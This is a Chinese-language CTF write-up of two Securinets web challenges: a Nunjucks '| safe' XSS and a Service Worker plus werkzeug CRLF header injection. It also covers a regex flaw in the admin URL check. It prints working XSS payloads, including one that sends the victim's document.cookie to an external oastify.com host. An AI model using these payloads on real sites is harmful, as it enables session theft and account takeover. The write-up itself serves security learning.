開始決定就算沒解出來的題目也寫一下 Writeup
不然我太爛ㄌ
Web
pinder
題目是用 Node.js 寫,然後模板是用 Nunjucks
大致上就是讓你上傳你的 profile,然後可以給別人看
很基本的 XSS 題
在 my-profile.njk
裡有這段
<div class="flex flex-row space-x-5">
<p class="font-bold">First name</p>
<p> {{profile.first_name | safe}} </p>
</div>
<div class="flex flex-row space-x-5">
<p class="font-bold">Last name</p>
...
safe
的語法可以參考官方的 document
簡單來說就是相信該字串是安全的,所以不會對它做 escape
所以只要把 payload 塞進 profile.firstname
就行了
payload:
{"first_name":"<svg/onload='eval(new URLSearchParams(window.location.search).get(`code`))'>","last_name":"bruh","profile_picture_link":"hi"}
securinets{3bcc81811533d70940084c8}
0 CSP
Intended
同樣是 XSS 題
前端會啟動 Service Worker 來 cache 所有 request
在註冊 Service Worker 的時候,它會把叫做 user
的 param 記錄下來,存放在 serverURL
的參數之中
const reg = await navigator.serviceWorker.register(
`sw.js?user=${params.get("user") ?? 'stranger'}`,{scope: './'});
const params = new URLSearchParams(self.location.search)
const userId = params.get("user")
const serverURL = `https://testnos.e-health.software/GetToken?userid=${userId}`;
而每當前端向後端的 /GetToken
發起請求時,會改用記錄下來的 serverURL
代替原本的 URL
self.addEventListener('fetch', (event) => {
let req = null
if (event.request.url.endsWith('/GetToken')) {
req = new Request(serverURL, event.request)
}
event.respondWith(
cacheFirst({
request: req ?? event.request,
preloadResponsePromise: event.preloadResponse,
fallbackUrl: './securinets.png',
})
);
那我們現在可以來看後端的 /GetToken
在做什麼事
首先他會取得我們的 userid
,並且查看是否有被存起來
如果沒有的話則隨機生成新的 token
,有的話就用舊的
然後將 userid
放進 response header 中
最後把 token
以及 escape 過的 userid
放進回應之中
def get_token():
...
try:
new_header: dict[str, str | bytes] = dict(headers)
userid = request.args.get("userid")
...
if userid in user_tokens:
token = user_tokens[userid]
else:
token = generate_token()
user_tokens[userid] = token
new_header["Auth-Token-" +
userid] = token
return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header
...
接下來再回來前端看看
觀察一下會發現只有一個 endpoint 可以 XSS/helloworld.html
<script>
const endpointUrl = 'https://testnos.e-health.software/GetToken';
fetch(endpointUrl)
.then(response => {
...
return response.json();
})
.then(data => {
console.log('Parsed JSON data:', data);
var token = data['token']
var user = data['user']
//const clean = DOMPurify.sanitize(user)
document.body.innerHTML = "hey " + user + " this is your token: " + token
})
可以看到能 XSS 的點分別是 user
以及 token
但結合剛才的 /GetToken
的行為,user
被 escape 掉了,而 token
則是隨機生成的,似乎也沒有辦法植入我們的 payload
但注意到剛剛有一個行為
然後將
userid
放進 response header 中
在 werkzeug latest(2.3.6) 及之前,response header key 是允許 \r\n
的存在的 (source)
也就是有非常明顯的 CRLF 漏洞
所以我們的攻擊手法就是下列這樣
- 在
userid
放入我們的 payload,造成 CRLF,以此來替換掉/GetToken
的 response - 讓 admin 去到
/helloworld.html
- ???
- profit
payload:
%0d%0aatest:+aa%0d%0a%0d%0a{"token":"<img+src%3d%23+onerror%3d'location%3d`http%3a//x.oastify.com/%3fx%3d`%2bdocument.cookie'>aaaaa","user":"z"}
Unintended
report 給 admin 的 endpoint 中
檢查 URL 的 regex 有錯誤
def use_regex(input_text):
pattern = re.compile(r"https://escape.nzeros.me/", re.IGNORECASE)
return pattern.match(input_text)
可以買下 escape9nzeros.me
之類的網域就能解了